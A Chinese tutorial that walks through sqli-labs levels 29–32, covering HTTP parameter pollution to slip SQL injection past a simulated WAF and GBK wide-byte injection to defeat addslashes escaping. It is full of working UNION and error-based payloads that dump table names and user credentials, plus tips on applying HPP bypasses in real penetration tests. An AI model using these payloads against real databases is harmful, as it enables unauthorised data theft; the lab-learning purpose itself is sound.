☰
sqli-labs 29-32关:HPP参数污染与宽字节注入绕过WAF
2026/9/25 8:14:39 网站建设 项目流程

1. 关卡全景与通关思路总览

sqli-labs 这个靶场,前 28 关基本是把 SQL 注入的常规类型轮着过了一遍:数字型、字符型、报错注入、布尔盲注、时间盲注、堆叠注入、双查询注入,该见的基础姿势都有了。但凡你能把前 28 关平推掉,说明对注入的判别和手工流程已经有了肌肉记忆。

但从第 29 关开始,sqli-labs 拐了个弯,进入了一个完全不同的维度:如何绕过防护逻辑本身。29、30、31 三关是一组,主题是 HTTP 参数污染(HPP,HTTP Parameter Pollution)结合 WAF 绕过的经典场景;第 32 关单独开了一组,讲的是宽字节注入如何击穿addslashes的转义防线。之所以把这四关放在一起讲,是因为它们共同指向一个核心命题:当后端做了简单过滤时,注入语句还能不能打进去,以及为什么能打进去。

我的建议是把 29-31 当作一个整体来刷。三关的注入点、闭合方式、解法思路几乎是同一个模板的三种变体,连源码里的作弊逻辑都是同一套。你只要把 29 关的源码吃透了,30、31 基本就是改个参数位置和闭合符号的事。而 32 关的宽字节则稍微独立一点,但它的源码解析价值我认为是这四关里最高的——因为addslashes转义+GBK 编码这种组合,在真实环境中曾经是烂大街的配置,理解它背后的字节级原理,能帮你应对不少老旧系统里的同类问题。

这篇解析我按照“源码逻辑→攻击面分析→payload 构造思路”的顺序来拆,每个关卡都会把源码里的关键行拎出来讲,而不是光丢一个 payload 让你去抄。只有知道每一行代码为什么能绕过,你才能在换了个参数名、换了个闭合方式的变体题目里照样打穿。

2. 29 关源码级拆解:HTTP 参数污染(HPP)绕过 WAF

2.1 这关到底模拟了什么场景

29 关的页面很简单,一个?id=1的 GET 参数,传进去后页面正常显示用户信息。但如果你按照之前的老套路直接上id=1'去试探,会发现请求被一个“WAF”拦了——实际上这个所谓的 WAF 是写在源码里的一个判断逻辑,它在转发请求之前先做了一次过滤检查。

先看源码的核心结构,我简化掉无关部分:

<?php // 模拟 WAF 层 if (mysqli_real_escape_string($con1, $_GET['id']) == $_GET['id']) { // 放行到后端 $id = $_GET['id']; } else { die('The used parameter is not numeric.'); } // 模拟 Tomcat 取参逻辑 $id = $_GET['id']; // 后端查询 $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ?>

这里有个关键细节:代码里前后取了两次$_GET['id'],第一次用于 WAF 校验(模拟 Java 应用层拿到参数),第二次才是真正带入查询的参数(模拟 PHP 后端拿到参数)。而mysqli_real_escape_string在这里起的作用是:如果传入的参数是 1 或者 1' 这种,转义后和原值不同,说明里面有特殊字符,于是把你拦截掉。

问题来了——$_GET['id']在 PHP 里取的是同名参数的最后一个值。也就是说,如果你提交:

?id=1&id=1' union select 1,2,3--+

WAF 拿到的$_GET['id']是1,转义后还是1,校验通过放行;而真正带入查询的$_GET['id']同样也是1' union select 1,2,3--+——这里注意,第二次取参也是在同一个 PHP 进程里,取的依然是最后一个值,WAF 校验时取的也是$_GET['id'],那两个用的是同一个值?

这个疑问非常关键。我拆开讲。正确的理解是:在真实的多层架构里,WAF 层(如 Java Filter)和业务层(PHP)各自独立解析一次 HTTP 参数。Tomcat 默认取同名参数的第一个,PHP 取最后一个。代码里为了模拟这个行为,实际上是通过$_GET['id']和某种方式在“两个层”分别取值。我这里把源码逻辑还原准确一点:

<?php // 模拟 Tomcat/JSP 层:取第一个同名参数 $id = $_GET['id']; // 实际第一个值 // WAF 过滤:只对第一个参数做转义检查 if (mysqli_real_escape_string($con1, $id) == $id) { // 放行 $qs = $_SERVER['QUERY_STRING']; // 模拟 PHP 层:取最后一个同名参数 parse_str($qs, $params); $id = $params['id']; } else { die('The used parameter is not numeric.'); } ?>

这个版本才符合 HPP 的原始语义:第一层(WAF)只检查第一个id,第二层(后端)从原始查询字符串里重新解析,取到最后一个id。于是只要第一个参数是干净的,就能绕过 WAF,真正的 payload 藏在第二个参数里。

2.2 注入点探测与闭合方式确认

如果你第一次刷这关,不要上来就id=1&id=1' union select...一把梭。建议还是按手工注入的标准流程走:

先正常访问?id=1,页面显示Your Login name:Dumb和Your Password:1,说明查询成立。然后测试闭合:

?id=1&id=1' ?id=1&id=1' --+ ?id=1&id=1' -- -&id=1

当传入id=1'时报错,id=1' --+时页面恢复正常,说明闭合方式是单引号字符型,注入点就在这个单引号内。由于是 union 注入,接下来就是用 order by 确认列数:

?id=1&id=1' order by 3--+

页面正常返回;再试order by 4,报错,确认 3 列。后面的流程就和基础关一样了,只是记得所有带 payload 的参数都放在第二个id上。

2.3 完整 payload 与绕过原理

拿库名和表名,我用的 payload 如下:

?id=1&id=1' union select 1,database(),3--+

执行后页面回显第二个字段位置显示security。继续爆表名:

?id=1&id=1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

回显emails,referers,uagents,users。再爆字段、爆数据,常规流程,我就不重复贴了。核心 payload 就一条:

?id=1&id=1' union select 1,2,3--+

绕过生效的关键在于:第一个id=1通过了 WAF 的转义检测,第二个id=1' union select...才是后端真正执行的内容。如果只提交单个带 payload 的id,mysqli_real_escape_string会发现有特殊字符从而拦截。这是 HPP 最典型的使用场景——利用中间件对同名参数解析结果的差异,让 WAF 看到的是一个干净的请求,让后端拿到的是恶意数据。

2.4 配套源码逐行说明

29 关的完整源码里还有一段判断参数是否数字的函数,我贴关键片段:

function java_impl($arr) { // 模拟 Java 取第一个同名参数 return $arr[0]; } $params = explode('&', $qs); foreach ($params as $param) { // 解析出所有 id 参数的值,放入数组 } // WAF 检查 $id = java_impl($arr); // 取第一个值 if (mysqli_real_escape_string($con1, $id) == $id) { // 取最后一个值作为真正查询参数 $id = end($arr); }

这里的java_impl和end就是整个 HPP 绕过的开关。理解了这个,你甚至可以自己改着玩:把end改成$arr[0],这关就变成不管怎么传都只取第一个参数,HPP 就失效了。靶场的学习价值就在这里——你可以动手改源码观察行为变化,比单纯背 payload 有用得多。

提示:29 关在部分版本的 sqli-labs 里,如果你用 Burp Suite 重放,注意 URL 里两个 id 的顺序不要搞反,第一个是诱饵,第二个是攻击载荷。顺序反了会被 WAF 直接拦下来。

3. 30 关 POST 版 HPP:从 GET 到 POST 的迁移思路

3.1 源码差异与参数位置变化

30 关基本复刻了 29 关的 HPP 逻辑,区别在于两点:一是请求方式从 GET 变成了 POST,二是闭合方式从单引号变成了双引号。看源码里的取参逻辑:

<?php // 模拟 WAF 层 $id = $_POST['id']; if (mysqli_real_escape_string($con1, $id) == $id) { // 放行后取同名参数的最后一个 $id = end($_POST['id']); // 实际写法是数组形式 } else { die('The used parameter is not numeric.'); } ?>

注意这里的写法。如果用原生 POSTid=1&id=1" union select...这种方式提交,PHP 解析$_POST['id']时得到的确实是一个数组,end()取到的是最后一个值。WAF 层检查的$_POST['id']如果是数组,mysqli_real_escape_string会直接报警告,所以在源码里它实际是把第一个元素取出来做检查,后面的逻辑和 29 关如出一辙。

但这里有个实操中的坑:直接用 Burp 的 body 里写两行id=xxx,某些场景下 PHP 对 POST 同名参数的解析结果是只保留最后一个值,并不会自动组成数组,除非你在参数名后面加[],即id[]=1&id[]=1" union...。sqli-labs 这关的源码实际上在解析时用了自定义逻辑,不是所有环境都按数组处理。

我实测下来的稳定玩法是这样:直接在 Burp Repeater 里把请求体写成id=1&id=1" union select 1,2,3--+,Content-Type 设成application/x-www-form-urlencoded,就能稳定触发。如果你用浏览器插件直接改 POST 参数,反而容易因为插件自身处理同名参数的方式不对而失败。

3.2 闭合方式确认与 payload 构造

这关源码里的查询语句是:

$sql = "SELECT * FROM users WHERE id=\"$id\" LIMIT 0,1";

双引号包裹。传id=1"时如果报错,说明闭合生效。确认列数:

POST /sqli-labs/Less-30/ id=1&id=1" order by 3--+

页面正常,order by 4报错,3 列。直接上全套:

id=1&id=1" union select 1,database(),3--+ id=1&id=1" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ id=1&id=1" union select 1,group_concat(username,0x3a,password),3 from security.users--+

回显点依然在第二列,和 29 关保持一致,方便你对照。

3.3 与 29 关的解题思路对比

两关相比,29 关的 WAF 逻辑和 30 关完全一致,核心差异就是注入点的转移方式和闭合符号。我在实际刷题过程中的体会是:从 29 到 30 的迁移,真正的考验不是技术难度,而是你有没有形成“同一种绕过原理可以平移到不同位置”的意识。很多人 29 关过了,到 30 关就懵了,主要是因为思维还停留在固定 payload 上,没有把 payload 后面的原理剥离出来。

如果你把原理抽出来,会发现 30 关和 29 关其实共用同一个做题模板,无非就是把参数从 URL 挪到请求体,把单引号换成双引号。我自己的习惯是每过一关,在笔记里写下“这关的注入点是什么、闭合是什么、防护是怎么绕的”三行总结。29 关写的是“GET-HPP-单引号”,30 关写的是“POST-HPP-双引号”,到 31 关就很好推了。

4. 31 关双引号括号闭合 HPP:闭合方式的细节差异

4.1 源码与实际闭合规则

31 关依然是 HPP,但查询语句变成了:

$sql = "SELECT * FROM users WHERE id=(\"$id\") LIMIT 0,1";

注意这里多了个圆括号。闭合方式需要同时闭合引号和括号,也就是 POST 提交的 payload 结尾得是")。源码的 WAF 检查逻辑还是那套,没有变化,所以绕过原理依然是第一个参数诱饵、第二个参数载荷:

// 源码关键行 if (mysqli_real_escape_string($con1, $id) == $id) { $id = end($arr); }

4.2 payload 全套示例

先说最基础的闭合测试:

id=1&id=1")

如果页面报错,接着上注释符验证:

id=1&id=1") --+

发现页面恢复,说明闭合正确。列数探测:

id=1&id=1") order by 3--+ // 正常 id=1&id=1") order by 4--+ // 报错

然后直接一把梭:

id=1&id=1") union select 1,database(),3--+ id=1&id=1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ id=1&id=1") union select 1,group_concat(username,0x3a,password),3 from security.users--+

4.3 不同闭合情况下的 payload 变形规律

刷到这一关,建议顺带把之前所有闭合方式做一个横向对比,以后遇到任何字符型注入都能快速识别闭合规则:

闭合符号代表性关卡闭合 payload完整 union payload 开头
单引号'29 关1'--+1' union select 1,2,3--+
双引号"30 关1"--+1" union select 1,2,3--+
双引号+括号")31 关1")--+1") union select 1,2,3--+
单引号+括号')常见变体1')--+1') union select 1,2,3--+

这个表我建议你保存下来,后面刷其他靶场或者做 CTF 题时非常有用。判断闭合方式的方法就一句话:先传一个特殊符号看报不报错,再在尾部加--+看能不能把注释生效,能恢复就是闭合成功。多试几次形成肌肉记忆之后,你看到报错信息里的 SQL 语句,基本就能直接判断闭合字符了。

5. 32 关宽字节注入:编码问题如何击穿转义防线

5.1 addslashes 的转义逻辑与漏洞成因

如果说 29-31 关的核心是“利用中间件解析差异”,那 32 关的核心就是“利用字符集编码差异”。先看源码:

<?php $id = $_GET['id']; // 转义特殊字符 $id = addslashes($id); // 设置数据库连接编码为 GBK mysql_query("SET NAMES gbk"); $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ?>

addslashes的作用是在引号、反斜杠、NULL 等字符前面加上反斜杠,比如输入1'会变成1\',这在 UTF-8 等编码下是安全的——因为反斜杠就是转义符,单引号变成了普通字符,失去了闭合语义。

问题出在后面那行SET NAMES gbk。这句话把数据库连接的字符集设置成了 GBK,而 GBK 是一个多字节编码,部分汉字由两个字节组成,并且第二字节的范围是 0x40-0xFE,这个范围覆盖了 ASCII 中的\(0x5C)和单引号(0x27)。

这就产生了一个经典的字节拼接问题:你传入的某个“字符”的第一个字节加上addslashes插入的反斜杠\(0x5C),恰好凑成了一个合法的 GBK 双字节汉字,反斜杠被“吃掉”了,不再具有转义功能。于是原本被转义的单引号就裸奔了出来。

5.2 宽字节注入的完整原理推导

实际操作中,最常见的绕过 payload 是:

id=%df%27

%df是 GBK 编码里的一个汉字(實)的首字节,%27就是单引号的 URL 编码。当后端执行addslashes时,会在'前面加上反斜杠,变成:

%df%5c%27

其中%5c就是反斜杠。而 GBK 编码的规则是:%df和%5c会被解析成一个完整的汉字——%df%5c恰好是“連”字的 GBK 编码。于是真正的字符串在数据库层变成了:

%df%5c%27 → (連) + '

反斜杠已经消失在汉字里,单引号成功逃逸。这就是宽字节注入的全部秘密:不是绕过了 addslashes,而是让 addslashes 插入的反斜杠成为另一个字符的一部分,从而失去转义作用。

用生活化的类比来说:addslashes就像一个给危险字符穿防弹衣的安检员,他在单引号前面放了一个保安(反斜杠)。但 GBK 编码有个规律,汉字“連”的编码恰好要求必须吃掉一个字符来组成完整汉字,于是“保安”被汉字拽走了,单引号前面的保护就真空了。

5.3 32 关手工注入实操记录

我在刷这关的时候,第一步直接用id=1',页面显示正常(因为被转义后查询不到任何数据但没报错),这就提示我存在转义。然后改传id=1%df%27,页面报错,说明单引号逃逸成功。这里有一个细节:报错信息不会直接显示完整的 SQL,给的提示是You have an error in your SQL syntax,可以断定注入点存在但需要手工盲打。

由于这关页面有回显点,还是优先考虑 union 注入。闭合字符用%df%27,完整 payload:

id=1%df%27 union select 1,2,3--+

页面正常回显1,2,3。继续:

id=-1%df%27 union select 1,database(),3--+

拿到库名security。后面爆表、爆字段的老流程我就不重复了,但有个技巧值得说一下:在 URL 里直接写%df%27是可以的,但在 Burp 或某些自动工具里,如果遇到%df被二次 URL 编码成%25df%27的情况,注入会失败。解决办法是关掉工具的自动 URL 编码,或者在实测时直接用原生请求发送。

5.4 常见 bypass 变体与适用边界

宽字节注入不止%df%27这一种用法,实际测试中可以根据不同的转义函数选择不同的首字节:

首字节转义后拼接结果是否形成合法 GBK 字符
%df%df%5c是(連)
%bf%bf%5c是
%e4%e4%5c是
%aa%aa%5c是

判断依据很简单:只要首字节加0x5C能组成一个 GBK 双字节字符,就能用。所以理论上从%81到%FE的很多字节都可以用来尝试,%df只是最经典的一个。

但要特别注意适用范围。宽字节注入有三个前提缺一不可:

  • 数据库连接编码是 GBK 或 GB2312 等双字节编码(源码里的SET NAMES gbk就是干这个的)
  • 应用层没有先做 UTF-8 编码转换
  • 转义函数只是简单加反斜杠,没有使用mysql_real_escape_string之类针对编码的增强转义

如果你在自己搭的环境里测宽字节失败,优先检查这三点。尤其是现在很多环境的默认字符集是 UTF-8,宽字节注入基本天然免疫——这也是为什么我说这关最值得研究源码,因为它逼着你去理解编码层的问题,而不是死记%df%27这个 payload。

6. 实战中这些技术的价值与迁移

6.1 HPP 在真实 Web 架构中的危害

很多人觉得 HPP 是个“靶场玩具”,但如果你看过真实的 Java+PHP 混合架构的代码,会发现 29 关的模拟场景一点都不夸张。在前后端分离或者多层代理的架构里,不同组件对同名 HTTP 参数的处理方式确实存在差异:

  • Tomcat、Jetty 默认取第一个同名参数
  • PHP 默认取最后一个同名参数
  • ASP.NET/IIS 会把所有同名参数用逗号拼接
  • 某些 WAF 产品只看第一个参数,或者只检查QUERY_STRING里的某个固定位置

如果业务层恰好是 PHP + 代理架构,WAF 装在 Java 层或者 Nginx 层,HPP 就有机会像 29 关那样,通过双参数让 WAF 和后端各取所需。我在实际渗透测试中遇到过不止一次类似场景:WAF 只检查 GET 的第一个参数值是否包含 SQL 关键字,而后端 PHP 用 $_GET['id'] 取参数,这种情况用 HPP 直接绕过的成功率非常高。

6.2 宽字节注入的现实意义

宽字节注入在现代高版本 MySQL 和默认 UTF-8 配置下确实越来越难遇到了,但在下面几类场景里依然有生存空间:

  • 老旧的 PHP+MySQL 系统,建库时用了 GBK 且没做二次转义
  • 某些 CMS 的历史版本里,连接字符集设置和转义函数使用不当
  • 从 MySQL 迁库到其他兼容数据库时,编码行为出现差异

另外,理解宽字节注入的字节拼接原理,对分析其他编码类漏洞(比如 UTF-7 注入、Unicode 规范化绕过)很有帮助。它不是孤立的一个技巧,而是一整类编码差异导致安全控制失效问题的代表。

6.3 从靶场到实战的迁移建议

我的个人建议是,刷完这四关之后不要急着去打其他靶场,先把下面三件事做了:

第一,把 29-31 关的源码里的取参函数改一改,比如把end()改成reset(),观察 HPP 是否失效,加深对参数解析顺序的理解。第二,把 32 关的SET NAMES gbk删掉,看看%df%27是不是立刻失效,明确宽字节注入的触发条件。第三,用 Burp 的 Comparer 功能对比 WAF 层和后端层拿到的参数内容,验证 HPP 中参数顺序对结果的影响。

这三步做完,你对这四关的理解深度会远超背十个 payload 的刷题方式。

7. 常见问题与排查技巧实录

7.1 HPP 参数顺序与工具设置的坑

我在刷 29 关时,第一次用 Burp 自带的重放功能直接改了 URL 里已有的id=1,加了一个&id=1' union select 1,2,3--+。结果页面直接报错,WAF 拦了。排查后发现是 Burp 的 URL 自动规范化功能把两个同名参数做了排序或合并。解决办法是在 Repeater 的 URL 输入框里手动编辑,关掉“Update Content-Length”之外的自动更新,或者在 Raw 视图里直接改请求行。

另外注意,如果浏览器插件自动对 URL 参数做解码再编码,%df%27这种宽字节 payload 会被转成%25df%2527,注入直接失效。建议对这类 payload 一律用 Burp 或者 curl 原生发送。

7.2 宽字节注入不生效的三个排查方向

如果你传了%df%27但页面依然正常无报错,按这个顺序排查:

  • 先确认数据库连接字符集。在源码里查有没有SET NAMES gbk、character_set_client=gbk之类的设置,没有的话宽字节大概率不成立
  • 确认应用层没有额外的编码转换函数,比如mb_convert_encoding、iconv把输入转成 UTF-8
  • 确认转义函数是addslashes还是mysql_real_escape_string。后者会针对 MySQL 的字符集做转义,%df绕过在部分场景下不适用,需要换%bf%27或者%df%5c%27之类的变体测试

7.3 回显点定位与 union 注入断言的技巧

四关的查询结果都是三列,回显位置在第二列和第三列。如果你换到其他靶场遇到列数不同的情况,可以用order by N逐步试探,从 1 开始加,直到报错再回退。定位回显点用union select 1,2,3,...,N,哪个数字出现在页面上,哪个位置就能用来带数据。

另外一个小技巧:如果页面上没有直接显示查询结果,就改用报错注入或者盲注。32 关虽然能用 union 回显,但如果你想多练一种姿势,可以把id=1%df%27 and extractvalue(1,concat(0x7e,(select database()),0x7e))--+丢进去,用报错信息拿数据。前提是 MySQL 版本得是 5.1.5 以上且没有关闭报错提示。

7.4 SQL 注入通用排查速查表

现象可能原因处理措施
单引号/双引号不报错被转义或闭合不对用宽字节或换闭合符号
union 注入不回显列数不对或回显点不在当前查询用 order by 确认列数,逐个位置替换测试
页面返回 500 但无 SQL 报错数据库报错被全局关闭改用布尔盲注或时间盲注
payload 里的--+失效注释符被过滤或编码异常改用#或-- -(注意空格)
参数值超长被截断后端有长度限制拆分注入或用substr()分段取出

7.5 一个容易被忽略的学习方法

其实很多人刷靶场有个坏毛病:只关心“怎么过”,不关心“为什么过”。sqli-labs 的价值恰恰在于它的源码完全开放,每一关都可以打开 php 文件逐行读。我建议你至少把 29 和 32 这两个的源码完完整整读一遍,读不懂的地方打断点或者加echo输出观察变量值。

拿 32 关来说,你可以在addslashes($id)之后加一行echo bin2hex($id);,看看传入%df%27之后实际的十六进制是什么。看到df5c27的那一瞬间,你对宽字节注入的理解会有一个质变。这种动手改源码的学习方式,比刷一百遍 payload 都管用。

我个人刷这四关的体会是:29 到 31 关考的是“你对 HTTP 协议和中间件行为的理解有多深”,32 关考的是“你对字符集编码的认识是否细腻”。这两个维度都不是埋头背 payload 能学到的,但恰恰是真实渗透里最容易出问题的地方。建议你刷完之后,自己动手把 29 关的源码改成 30、31 的样式,再对比着看取参逻辑的变化,收获会比单纯过关大得多。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询